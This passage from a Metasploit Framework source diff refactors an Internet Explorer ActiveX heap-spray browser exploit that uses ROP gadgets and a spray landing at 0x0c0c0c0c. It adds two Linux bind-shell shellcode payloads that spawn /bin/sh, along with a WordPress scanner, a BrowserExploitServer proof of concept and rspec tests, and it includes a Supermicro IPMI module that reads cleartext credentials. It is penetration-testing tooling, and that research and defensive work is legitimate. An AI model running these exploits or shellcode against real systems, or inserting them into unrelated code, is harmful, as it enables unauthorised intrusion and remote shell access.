end
|
||||
end
|
||||
end
|
||||
rescue
|
||||
wlog( "Socks4a.start - #{$!}" )
|
||||
return false
|
||||
end
|
||||
return true
|
||||
end
|
||||
|
||||
#
|
||||
# Block while the server is running.
|
||||
#
|
||||
def join
|
||||
@server_thread.join if @server_thread
|
||||
end
|
||||
|
||||
#
|
||||
# Stop the Socks4a server.
|
||||
#
|
||||
def stop
|
||||
if( @running )
|
||||
# signal we are no longer running
|
||||
@running = false
|
||||
# stop any clients we have (create a new client array as client.stop will delete from @clients)
|
||||
clients = []
|
||||
clients.concat( @clients )
|
||||
clients.each do | client |
|
||||
client.stop
|
||||
end
|
||||
# close the server socket
|
||||
@server.close if @server
|
||||
# if the server thread did not terminate gracefully, kill it.
|
||||
@server_thread.kill if( @server_thread and @server_thread.alive? )
|
||||
end
|
||||
return !@running
|
||||
end
|
||||
|
||||
def add_client( client )
|
||||
@clients << client
|
||||
end
|
||||
|
||||
def remove_client( client )
|
||||
@clients.delete( client )
|
||||
end
|
||||
|
||||
attr_reader :opts
|
||||
|
||||
end
|
||||
|
||||
end; end; end
|
||||
|
||||
|
|
|
@ -35,7 +35,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
'Name' => 'Supermicro Onboard IPMI Static SSL Certificate Scanner',
|
||||
'Description' => %q{
|
||||
This module checks for a static SSL certificate shipped with Supermicro Onboard IPMI
|
||||
controllers. An attacker with access to the publicly-available firmware can perform
|
||||
controllers. An attacker with access to the publicly-available firmware can perform
|
||||
man-in-the-middle attacks and offline decryption of communication to the controller.
|
||||
This module has been on a Supermicro Onboard IPMI (X9SCL/X9SCM) with firmware
|
||||
version SMT_X9_214.
|
||||
|
|
|
@ -17,12 +17,12 @@ class Metasploit3 < Msf::Auxiliary
|
|||
super(update_info(info,
|
||||
'Name' => 'Supermicro Onboard IPMI url_redirect.cgi Authenticated Directory Traversal',
|
||||
'Description' => %q{
|
||||
This module abuses a directory traversal vulnerability in the url_redirect.cgi application
|
||||
This module abuses a directory traversal vulnerability in the url_redirect.cgi application
|
||||
accessible through the web interface of Supermicro Onboard IPMI controllers. The vulnerability
|
||||
is present due to a lack of sanitization of the url_name parameter. This allows an attacker with
|
||||
a valid, but not necessarily administrator-level account, to access the contents of any file
|
||||
on the system. This includes the /nv/PSBlock file, which contains the cleartext credentials for
|
||||
all configured accounts. This module has been tested on a Supermicro Onboard IPMI (X9SCL/X9SCM)
|
||||
all configured accounts. This module has been tested on a Supermicro Onboard IPMI (X9SCL/X9SCM)
|
||||
with firmware version SMT_X9_214.
|
||||
},
|
||||
'Author' =>
|
||||
|
|
|
@ -0,0 +1,39 @@
|
|||
##
|
||||
# This module requires Metasploit: http//metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
include Msf::HTTP::Wordpress
|
||||
include Msf::Auxiliary::Scanner
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'Wordpress Scanner',
|
||||
'Description' => 'Detects Wordpress Installations and their version number',
|
||||
'Author' => [ 'Christian Mehlmauer <FireFart[at]gmail.com>' ],
|
||||
'License' => MSF_LICENSE
|
||||
)
|
||||
end
|
||||
|
||||
def run_host(target_host)
|
||||
print_status("Trying ip #{target_host}")
|
||||
if wordpress_and_online?
|
||||
version = wordpress_version
|
||||
version_string = version ? version : '(no version detected)'
|
||||
print_good("#{target_host} running Wordpress #{version_string}")
|
||||
report_note(
|
||||
{
|
||||
:host => target_host,
|
||||
:proto => 'tcp',
|
||||
:sname => (ssl ? 'https' : 'http'),
|
||||
:port => rport,
|
||||
:type => "Wordpress #{version_string}",
|
||||
:data => target_uri
|
||||
})
|
||||
end
|
||||
end
|
||||
end
|
|
@ -118,7 +118,10 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
if (datastore['DOWNHOST'])
|
||||
service_url = 'http://' + datastore['DOWNHOST'] + ':' + datastore['SRVPORT'].to_s + resource_uri
|
||||
else
|
||||
#do not use SSL
|
||||
# do not use SSL for this part
|
||||
# XXX: See https://dev.metasploit.com/redmine/issues/8498
|
||||
# It must be possible to do this without directly editing the
|
||||
# datastore.
|
||||
if datastore['SSL']
|
||||
ssl_restore = true
|
||||
datastore['SSL'] = false
|
||||
|
@ -142,6 +145,10 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'Path' => resource_uri
|
||||
}})
|
||||
|
||||
# Restore SSL preference
|
||||
# XXX: See https://dev.metasploit.com/redmine/issues/8498
|
||||
# It must be possible to do this without directly editing the
|
||||
# datastore.
|
||||
datastore['SSL'] = true if ssl_restore
|
||||
end
|
||||
|
||||
|
|
|
@ -106,7 +106,10 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
end
|
||||
|
||||
def start_http_service
|
||||
#do not use SSL
|
||||
# do not use SSL for this part
|
||||
# XXX: See https://dev.metasploit.com/redmine/issues/8498
|
||||
# It must be possible to do this without directly editing the
|
||||
# datastore.
|
||||
if datastore['SSL']
|
||||
ssl_restore = true
|
||||
datastore['SSL'] = false
|
||||
|
@ -129,6 +132,10 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
}
|
||||
})
|
||||
|
||||
# Restore SSL preference
|
||||
# XXX: See https://dev.metasploit.com/redmine/issues/8498
|
||||
# It must be possible to do this without directly editing the
|
||||
# datastore.
|
||||
datastore['SSL'] = true if ssl_restore
|
||||
|
||||
return service_url
|
||||
|
|
|
@ -8,21 +8,7 @@ require 'msf/core'
|
|||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = NormalRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpServer::HTML
|
||||
#include Msf::Exploit::Remote::BrowserAutopwn
|
||||
include Msf::Exploit::RopDb
|
||||
|
||||
#autopwn_info({
|
||||
# :ua_name => HttpClients::IE,
|
||||
# :ua_minver => "6.0",
|
||||
# :ua_maxver => "8.0",
|
||||
# :javascript => true,
|
||||
# :os_name => OperatingSystems::WINDOWS,
|
||||
# :rank => Rank,
|
||||
# :classid => "{09F68A41-2FBE-11D3-8C9D-0008C7D901B6}",
|
||||
# :method => "ChooseFilePath",
|
||||
#})
|
||||
|
||||
include Msf::Exploit::Remote::BrowserExploitServer
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
|
@ -56,37 +42,61 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'InitialAutoRunScript' => 'migrate -f'
|
||||
},
|
||||
'Platform' => 'win',
|
||||
'BrowserRequirements' =>
|
||||
{
|
||||
:source => /script|headers/i,
|
||||
:clsid => "{09F68A41-2FBE-11D3-8C9D-0008C7D901B6}",
|
||||
:method => "ChooseFilePath",
|
||||
:os_name => /win/i
|
||||
},
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Automatic', {} ],
|
||||
[ 'IE 6 on Windows XP SP3',
|
||||
{
|
||||
'Rop' => false,
|
||||
'Offset' => '0x5F4',
|
||||
'Ret' => 0x0c0c0c0c
|
||||
}
|
||||
[
|
||||
'Windows XP with IE 6',
|
||||
{
|
||||
'os_flavor' => 'XP',
|
||||
'ua_name' => 'MSIE',
|
||||
'ua_ver' => '6.0',
|
||||
'Rop' => false,
|
||||
'Offset' => '0x5F4',
|
||||
'Ret' => 0x0c0c0c0c
|
||||
}
|
||||
],
|
||||
[ 'IE 7 on Windows XP SP3',
|
||||
{
|
||||
'Rop' => false,
|
||||
'Offset' => '0x5F4',
|
||||
'Ret' => 0x0c0c0c0c
|
||||
}
|
||||
[
|
||||
'Windows XP with IE 7',
|
||||
{
|
||||
'os_flavor' => 'XP',
|
||||
'ua_name' => 'MSIE',
|
||||
'ua_ver' => '7.0',
|
||||
'Rop' => false,
|
||||
'Offset' => '0x5F4',
|
||||
'Ret' => 0x0c0c0c0c
|
||||
}
|
||||
],
|
||||
[ 'IE 8 on Windows XP SP3',
|
||||
{
|
||||
'Rop' => true,
|
||||
'Offset' => '0x5f6',
|
||||
'Ret' => 0x77c2282e # stackpivot # mov esp,ebp # pop ebp # retn # msvcrt.dll
|
||||
}
|
||||
[
|
||||
'Windows XP with IE 8',
|
||||
{
|
||||
'os_flavor' => 'XP',
|
||||
'ua_name' => 'MSIE',
|
||||
'ua_ver' => '8.0',
|
||||
'Rop' => true,
|
||||
'Offset' => '0x5f6',
|
||||
'Ret' => 0x77c2282e # stackpivot # mov esp,ebp # pop ebp # retn # msvcrt.dll
|
||||
}
|
||||
],
|
||||
[ 'IE 7 on Windows Vista',
|
||||
{
|
||||
'Rop' => false,
|
||||
'Offset' => '0x5F4',
|
||||
'Ret' => 0x0c0c0c0c
|
||||
}
|
||||
[
|
||||
'Windows Vista with IE 7',
|
||||
{
|
||||
'os_flavor' => 'Vista',
|
||||
'ua_name' => 'MSIE',
|
||||
'ua_ver' => '7.0',
|
||||
'Rop' => false,
|
||||
'Offset' => '0x5F4',
|
||||
'Ret' => 0x0c0c0c0c
|
||||
}
|
||||
]
|
||||
|
||||
],
|
||||
'Privileged' => false,
|
||||
'DisclosureDate' => "Apr 1 2012",
|
||||
|
@ -95,41 +105,14 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
register_options(
|
||||
[
|
||||
OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
|
||||
], self.class)
|
||||
|
||||
], self.class
|
||||
)
|
||||
end
|
||||
|
||||
def get_target(agent)
|
||||
#If the user is already specified by the user, we'll just use that
|
||||
return target if target.name != 'Automatic'
|
||||
|
||||
nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''
|
||||
ie = agent.scan(/MSIE (\d)/).flatten[0] || ''
|
||||
|
||||
ie_name = "IE #{ie}"
|
||||
|
||||
case nt
|
||||
when '5.1'
|
||||
os_name = 'Windows XP SP3'
|
||||
when '6.0'
|
||||
os_name = 'Windows Vista'
|
||||
when '6.1'
|
||||
os_name = 'Windows 7'
|
||||
end
|
||||
|
||||
targets.each do |t|
|
||||
if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))
|
||||
print_status("Target selected as: #{t.name}")
|
||||
return t
|
||||
end
|
||||
end
|
||||
|
||||
return nil
|
||||
end
|
||||
|
||||
def ie_heap_spray(my_target, p)
|
||||
js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch))
|
||||
js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch))
|
||||
def ie_heap_spray(p)
|
||||
js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(get_target.arch))
|
||||
js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(get_target.arch))
|
||||
|
||||
# Land the payload at 0x0c0c0c0c
|
||||
|
||||
|
@ -138,7 +121,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
var code = unescape("#{js_code}");
|
||||
var nops = unescape("#{js_nops}");
|
||||
while (nops.length < 0x80000) nops += nops;
|
||||
var offset = nops.substring(0, #{my_target['Offset']});
|
||||
var offset = nops.substring(0, #{get_target['Offset']});
|
||||
var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
|
||||
while (shellcode.length < 0x40000) shellcode += shellcode;
|
||||
var block = shellcode.substring(0, (0x80000-6)/2);
|
||||
|
@ -158,49 +141,35 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
return js
|
||||
end
|
||||
|
||||
def load_exploit_html(my_target, cli)
|
||||
def exploit_template(cli, target_info)
|
||||
|
||||
if my_target['Rop']
|
||||
p = generate_rop_payload('msvcrt', payload.encoded, {'target'=>'xp'})
|
||||
if get_target['Rop']
|
||||
p = generate_rop_payload('msvcrt', get_payload(cli, target_info), {'target'=>'xp'})
|
||||
else
|
||||
p = payload.encoded
|
||||
p = get_payload(cli, target_info)
|
||||
end
|
||||
|
||||
spray = ie_heap_spray(my_target, p)
|
||||
spray = ie_heap_spray(p)
|
||||
target_ret = Rex::Text.to_hex([get_target.ret].pack("V"))
|
||||
|
||||
html = %Q|
|
||||
html_template = %Q|
|
||||
<html>
|
||||
<object id="pwnd" classid="clsid:09F68A41-2FBE-11D3-8C9D-0008C7D901B6"></object>
|
||||
<script>
|
||||
#{spray}
|
||||
|
||||
<%=spray%>
|
||||
junk='';
|
||||
for( counter=0; counter<=267; counter++) junk+=unescape("%0c");
|
||||
pwnd.ChooseFilePath(junk + "#{Rex::Text.to_hex([my_target.ret].pack("V"))}");
|
||||
pwnd.ChooseFilePath(junk + "<%=target_ret%>");
|
||||
</script>
|
||||
</html>
|
||||
|
|
||||
|
||||
return html
|
||||
return html_template, binding()
|
||||
end
|
||||
|
||||
def on_request_uri(cli, request)
|
||||
agent = request.headers['User-Agent']
|
||||
uri = request.uri
|
||||
print_status("Requesting: #{uri}")
|
||||
|
||||
my_target = get_target(agent)
|
||||
# Avoid the attack if no suitable target found
|
||||
if my_target.nil?
|
||||
print_error("Browser not supported, sending 404: #{agent}")
|
||||
send_not_found(cli)
|
||||
return
|
||||
end
|
||||
|
||||
html = load_exploit_html(my_target, cli)
|
||||
html = html.gsub(/^\t\t/, '')
|
||||
def on_request_exploit(cli, request, target_info)
|
||||
print_status("Sending HTML...")
|
||||
send_response(cli, html, {'Content-Type'=>'text/html'})
|
||||
send_exploit_html(cli, exploit_template(cli, target_info))
|
||||
end
|
||||
|
||||
end
|
||||
|
@ -232,4 +201,4 @@ cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
|
|||
020bf7e8 0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c ................
|
||||
020bf7f8 0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c ................
|
||||
020bf808 0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c ................
|
||||
=end
|
||||
=end
|
||||
|
|
|
@ -1,8 +1,6 @@
|
|||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
# This module requires Metasploit: http//metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
|
|
@ -0,0 +1,64 @@
|
|||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
module Metasploit3
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Payload::Linux
|
||||
|
||||
def initialize(info = {})
|
||||
super(merge_info(info,
|
||||
'Name' => 'Linux Command Shell, Bind TCP Random Port Inline',
|
||||
'Description' => %q{
|
||||
Listen for a connection in a random port and spawn a command shell.
|
||||
Use nmap to discover the open port: 'nmap -sS target -p-'.
|
||||
},
|
||||
'Author' => 'Geyslan G. Bem <geyslan[at]gmail.com>',
|
||||
'License' => BSD_LICENSE,
|
||||
'References' => ['URL', 'https://github.com/geyslan/SLAE/blob/master/improvements/shell_bind_tcp_random_port_x86_64.asm'],
|
||||
'Platform' => 'linux',
|
||||
'Arch' => ARCH_X86_64,
|
||||
'Payload' =>
|
||||
{
|
||||
'Payload' =>
|
||||
"\x48\x31\xf6" +# xor %rsi,%rsi
|
||||
"\x48\xf7\xe6" +# mul %rsi
|
||||
"\xff\xc6" +# inc %esi
|
||||
"\x6a\x02" +# pushq $0x2
|
||||
"\x5f" +# pop %rdi
|
||||
"\xb0\x29" +# mov $0x29,%al
|
||||
"\x0f\x05" +# syscall
|
||||
"\x52" +# push %rdx
|
||||
"\x5e" +# pop %rsi
|
||||
"\x50" +# push %rax
|
||||
"\x5f" +# pop %rdi
|
||||
"\xb0\x32" +# mov $0x32,%al
|
||||
"\x0f\x05" +# syscall
|
||||
"\xb0\x2b" +# mov $0x2b,%al
|
||||
"\x0f\x05" +# syscall
|
||||
"\x57" +# push %rdi
|
||||
"\x5e" +# pop %rsi
|
||||
"\x48\x97" +# xchg %rax,%rdi
|
||||
"\xff\xce" +# dec %esi
|
||||
"\xb0\x21" +# mov $0x21,%al
|
||||
"\x0f\x05" +# syscall
|
||||
"\x75\xf8" +# jne 40009f
|
||||
"\x52" +# push %rdx
|
||||
"\x48\xbf\x2f\x2f\x62" +# movabs $0x68732f6e69622f2f,%rdi
|
||||
"\x69\x6e\x2f\x73\x68" +
|
||||
"\x57" +# push %rdi
|
||||
"\x54" +# push %rsp
|
||||
"\x5f" +# pop %rdi
|
||||
"\xb0\x3b" +# mov $0x3b,%al
|
||||
"\x0f\x05" # syscall
|
||||
}
|
||||
))
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,65 @@
|
|||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
module Metasploit3
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Payload::Linux
|
||||
|
||||
def initialize(info = {})
|
||||
super(merge_info(info,
|
||||
'Name' => 'Linux Command Shell, Bind TCP Random Port Inline',
|
||||
'Description' => %q{
|
||||
Listen for a connection in a random port and spawn a command shell.
|
||||
Use nmap to discover the open port: 'nmap -sS target -p-'.
|
||||
},
|
||||
'Author' => 'Geyslan G. Bem <geyslan[at]gmail.com>',
|
||||
'License' => BSD_LICENSE,
|
||||
'References' => ['URL', 'https://github.com/geyslan/SLAE/blob/master/improvements/tiny_shell_bind_tcp_random_port.asm'],
|
||||
'Platform' => 'linux',
|
||||
'Arch' => ARCH_X86,
|
||||
'Payload' =>
|
||||
{
|
||||
'Payload' =>
|
||||
"\x31\xdb" +# xor %ebx,%ebx
|
||||
"\xf7\xe3" +# mul %ebx
|
||||
"\xb0\x66" +# mov $0x66,%al
|
||||
"\x43" +# inc %ebx
|
||||
"\x52" +# push %edx
|
||||
"\x53" +# push %ebx
|
||||
"\x6a\x02" +# push $0x2
|
||||
"\x89\xe1" +# mov %esp,%ecx
|
||||
"\xcd\x80" +# int $0x80
|
||||
"\x52" +# push %edx
|
||||
"\x50" +# push %eax
|
||||
"\x89\xe1" +# mov %esp,%ecx
|
||||
"\xb0\x66" +# mov $0x66,%al
|
||||
"\xb3\x04" +# mov $0x4,%bl
|
||||
"\xcd\x80" +# int $0x80
|
||||
"\xb0\x66" +# mov $0x66,%al
|
||||
"\x43" +# inc %ebx
|
||||
"\xcd\x80" +# int $0x80
|
||||
"\x59" +# pop %ecx
|
||||
"\x93" +# xchg %eax,%ebx
|
||||
"\x6a\x3f" +# push $0x3f
|
||||
"\x58" +# pop %eax
|
||||
"\xcd\x80" +# int $0x80
|
||||
"\x49" +# dec %ecx
|
||||
"\x79\xf8" +# jns 20
|
||||
"\xb0\x0b" +# mov $0xb,%al
|
||||
"\x68\x2f\x2f\x73\x68" +# push $0x68732f2f
|
||||
"\x68\x2f\x62\x69\x6e" +# push $0x6e69622f
|
||||
"\x89\xe3" +# mov %esp,%ebx
|
||||
"\x41" +# inc %ecx
|
||||
"\xcd\x80" # int $0x80
|
||||
}
|
||||
))
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,174 @@
|
|||
require 'spec_helper'
|
||||
require 'msf/core'
|
||||
require 'msf/core/exploit/remote/browser_exploit_server'
|
||||
|
||||
describe Msf::Exploit::Remote::BrowserExploitServer do
|
||||
|
||||
subject(:server) do
|
||||
mod = Msf::Exploit.allocate
|
||||
mod.extend described_class
|
||||
mod.send(:initialize, {})
|
||||
mod
|
||||
end
|
||||
|
||||
let(:service_double) do
|
||||
service = double("service")
|
||||
service.stub(:server_name=)
|
||||
service.stub(:add_resource)
|
||||
|
||||
service
|
||||
end
|
||||
|
||||
let(:profile_name) do
|
||||
"random"
|
||||
end
|
||||
|
||||
let(:expected_os_name) do
|
||||
"linux"
|
||||
end
|
||||
|
||||
let(:expected_user_agent) do
|
||||
"Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
|
||||
end
|
||||
|
||||
let(:expected_profile) do
|
||||
{
|
||||
:source=>"script",
|
||||
:os_name=>"Microsoft Windows",
|
||||
:os_flavor=>"XP",
|
||||
:ua_name=>"MSIE",
|
||||
:ua_ver=>"8.0",
|
||||
:arch=>"x86",
|
||||
:office=>"null",
|
||||
:activex=>"true",
|
||||
:proxy=>false,
|
||||
:language=>"en-us",
|
||||
:tried=>true
|
||||
}
|
||||
end
|
||||
|
||||
before do
|
||||
Rex::ServiceManager.stub(:start => service_double)
|
||||
end
|
||||
|
||||
before(:each) do
|
||||
server.start_service
|
||||
end
|
||||
|
||||
describe ".get_module_resource" do
|
||||
it "should give me a URI to access the exploit page" do
|
||||
ivar_exploit_page = server.instance_variable_get(:@exploit_receiver_page)
|
||||
module_resource = server.get_module_resource
|
||||
module_resource.should match(ivar_exploit_page)
|
||||
end
|
||||
end
|
||||
|
||||
describe ".get_bad_requirements" do
|
||||
it "should not contain any bad requirements" do
|
||||
server.get_bad_requirements(expected_profile).should eq([])
|
||||
end
|
||||
|
||||
it "should have identify :os_name as a requirement not met" do
|
||||
fake_profile = {
|
||||
"rMWwSAwBHLoESpHbEGbsv" => {
|
||||
:os_name => expected_os_name
|
||||
}}
|
||||
|
||||
server.instance_variable_set(:@requirements, {:os_name => /win/i})
|
||||
baddies = server.get_bad_requirements(fake_profile)
|
||||
baddies.should eq([:os_name])
|
||||
end
|
||||
end
|
||||
|
||||
describe ".init_profile" do
|
||||
it "should initialize an empety profile for tag 'random'" do
|
||||
server.init_profile(profile_name)
|
||||
ivar_target_profile = server.instance_variable_get(:@target_profiles)
|
||||
ivar_target_profile.should eq({profile_name=>{}})
|
||||
end
|
||||
end
|
||||
|
||||
describe ".get_profile" do
|
||||
it "should return nil when a profile isn't found" do
|
||||
server.init_profile(profile_name)
|
||||
p = server.get_profile("non_existent_profile")
|
||||
p.should be_nil
|
||||
end
|
||||
|
||||
it "should return a profile if found" do
|
||||
server.init_profile(profile_name)
|
||||
p = server.get_profile(profile_name)
|
||||
p.should eq({})
|
||||
end
|
||||
end
|
||||
|
||||
describe ".update_profile" do
|
||||
it "should update my target profile's :os_name information" do
|
||||
server.init_profile(profile_name)
|
||||
profile = server.get_profile(profile_name)
|
||||
server.update_profile(profile, :os_name, expected_os_name)
|
||||
profile = server.get_profile(profile_name)
|
||||
profile[:os_name].should eq(expected_os_name)
|
||||
end
|
||||
end
|
||||
|
||||
describe ".get_detection_html" do
|
||||
it "should return the detection code that the client will get" do
|
||||
html = server.get_detection_html(expected_user_agent)
|
||||
html.should_not eq('')
|
||||
end
|
||||
end
|
||||
|
||||
describe ".on_request_exploit" do
|
||||
it "should raise a NoMethodError if called" do
|
||||
fake_cli = nil
|
||||
fake_request = nil
|
||||
fake_browser_info = nil
|
||||
lambda {
|
||||
server.on_request_exploit(fake_cli, fake_request, fake_browser_info)
|
||||
}.should raise_error
|
||||
end
|
||||
end
|
||||
|
||||
describe ".get_target" do
|
||||
it "should return a target" do
|
||||
#
|
||||
# Using Object for Msf::Module::Target
|
||||
#
|
||||
expected_object = Object
|
||||
server.instance_variable_set(:@target, expected_object)
|
||||
server.get_target.should eq(expected_object)
|
||||
end
|
||||
end
|
||||
|
||||
describe ".try_set_target" do
|
||||
it "should try to set a target based on requirements" do
|
||||
#
|
||||
# This testcase needs to be better somehow, but not sure how to actually create
|
||||
# a Msf::Module::Target. All we're able to test here is making sure the method
|
||||
# doesn't raise anything by exercising the code.
|
||||
#
|
||||
server.instance_variable_set(:@requirements, {:os_name => /win/i})
|
||||
server.instance_variable_set(:@target, Object)
|
||||
server.try_set_target(expected_profile)
|
||||
server.get_target.should eq(Object)
|
||||
end
|
||||
end
|
||||
|
||||
describe ".extract_requirements" do
|
||||
it "should find all the recognizable keys" do
|
||||
requirements = {:os_flavor=>"XP", :ua_name=>"MSIE", :ua_ver=>"8.0"}
|
||||
matches = server.extract_requirements(requirements)
|
||||
matches.should eq(requirements)
|
||||
end
|
||||
|
||||
it "should make sure the keys are always symbols" do
|
||||
requirements = {'os_flavor'=>"XP", 'ua_name'=>"MSIE"}
|
||||
matches = server.extract_requirements(requirements)
|
||||
matches.each do |k,v|
|
||||
k.class.should eq(Symbol)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
end
|
|
@ -5,16 +5,23 @@ describe Rex::Exploitation::Js::Detect do
|
|||
context "Class methods" do
|
||||
|
||||
context ".os" do
|
||||
it "should load the OS Detect javascript" do
|
||||
it "should load the OS detection in Javascript" do
|
||||
js = Rex::Exploitation::Js::Detect.os.to_s
|
||||
js.should =~ /window\.os_detect/
|
||||
end
|
||||
end
|
||||
|
||||
context ".addons" do
|
||||
it "should load the Addons Detect javascript" do
|
||||
js = Rex::Exploitation::Js::Detect.addons.to_s
|
||||
js.should =~ /window\.addons_detect/
|
||||
context ".ie_addons" do
|
||||
it "should load the IE Addons detection in Javascript" do
|
||||
js = Rex::Exploitation::Js::Detect.ie_addons.to_s
|
||||
js.should =~ /window\.ie_addons_detect/
|
||||
end
|
||||
end
|
||||
|
||||
context ".misc_addons" do
|
||||
it "should load the misc Addons detection in Javascript" do
|
||||
js = Rex::Exploitation::Js::Detect.misc_addons.to_s
|
||||
js.should =~ /window\.misc_addons_detect/
|
||||
end
|
||||
end
|
||||
|
||||
|
|
|
@ -11,6 +11,14 @@ describe Rex::Exploitation::Js::Network do
|
|||
end
|
||||
end
|
||||
|
||||
context ".ajax_post" do
|
||||
it "should load the postInfo javascript" do
|
||||
js = Rex::Exploitation::Js::Network.ajax_post
|
||||
js.should =~ /function postInfo/
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
|
|
|
@ -0,0 +1,149 @@
|
|||
##
|
||||
# This module requires Metasploit: http//metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = NormalRanking
|
||||
|
||||
include Msf::Exploit::Remote::BrowserExploitServer
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => "IE Exploit for BrowserExploitServer Proof-of-Concept",
|
||||
'Description' => %q{
|
||||
Here's an example of building an exploit using the BrowserExploitServer.
|
||||
This example requires the target to be exploit. If not, the mixin will
|
||||
send a fake 404 as a way to avoid engaging the target. The example is
|
||||
for Windows only.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [ 'sinn3r' ],
|
||||
'References' =>
|
||||
[
|
||||
[ 'URL', 'http://metasploit.com' ]
|
||||
],
|
||||
'Platform' => 'win',
|
||||
'BrowserRequirements' =>
|
||||
{
|
||||
:source => /script|headers/i,
|
||||
#:clsid => "{D27CDB6E-AE6D-11cf-96B8-444553540000}", # ShockwaveFlash.ShockwaveFlash.1
|
||||
#:method => "LoadMovie",
|
||||
:os_name => /win/i
|
||||
},
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Automatic', {} ],
|
||||
[
|
||||
'Windows XP with IE 8',
|
||||
{
|
||||
'os_flavor' => 'XP',
|
||||
'ua_name' => 'MSIE',
|
||||
'ua_ver' => '8.0',
|
||||
'Rop' => true,
|
||||
'Offset' => 0x100
|
||||
}
|
||||
],
|
||||
[
|
||||
'Windows 7 with IE 9',
|
||||
{
|
||||
'os_flavor' => '7',
|
||||
'ua_name' => 'MSIE',
|
||||
'ua_ver' => '9.0',
|
||||
'Rop' => true,
|
||||
'Offset' => 0x100
|
||||
}
|
||||
],
|
||||
[
|
||||
'Windows 7 with IE 10',
|
||||
{
|
||||
'os_flavor' => '7',
|
||||
'ua_name' => 'MSIE',
|
||||
'ua_ver' => '10.0',
|
||||
'Rop' => true,
|
||||
'Offset' => 0x100
|
||||
}
|
||||
]
|
||||
],
|
||||
|
||||
'Payload' =>
|
||||
{
|
||||
'BadChars' => "\x00", #Our spray doesn't like null bytes
|
||||
'StackAdjustment' => -3500
|
||||
},
|
||||
'Privileged' => false,
|
||||
'DisclosureDate' => "Apr 1 2013",
|
||||
'DefaultTarget' => 0))
|
||||
end
|
||||
|
||||
#
|
||||
# This example shows how to use ERB and being able to use the arguments and local vars
|
||||
#
|
||||
def exploit_template1(target_info, txt)
|
||||
txt2 = "I can use local vars!"
|
||||
|
||||
template = %Q|
|
||||
<% msg = "This page is generated by an exploit" %>
|
||||
<%=msg%><br>
|
||||
<%=txt%><br>
|
||||
<%=txt2%><br>
|
||||
<p></p>
|
||||
Data gathered from source: #{target_info[:source]}<br>
|
||||
OS name: #{target_info[:os_name]}<br>
|
||||
Flavor: #{target_info[:os_flavor]}<br>
|
||||
UA name: #{target_info[:ua_name]}<br>
|
||||
UA version: #{target_info[:ua_ver]}<br>
|
||||
Java version: #{target_info[:java]}<br>
|
||||
Office version: #{target_info[:office]}
|
||||
|
|
||||
|
||||
return template, binding()
|
||||
end
|
||||
|
||||
#
|
||||
# This example shows how to generate an ERB template without passing binding
|
||||
#
|
||||
def exploit_template2(target_info)
|
||||
%Q|
|
||||
<% msg = "This page is generated by an exploit" %>
|
||||
<%=msg%><br>
|
||||
<p></p>
|
||||
Data gathered from source: #{target_info[:source]}<br>
|
||||
OS name: #{target_info[:os_name]}<br>
|
||||
Flavor: #{target_info[:os_flavor]}<br>
|
||||
UA name: #{target_info[:ua_name]}<br>
|
||||
UA version: #{target_info[:ua_ver]}<br>
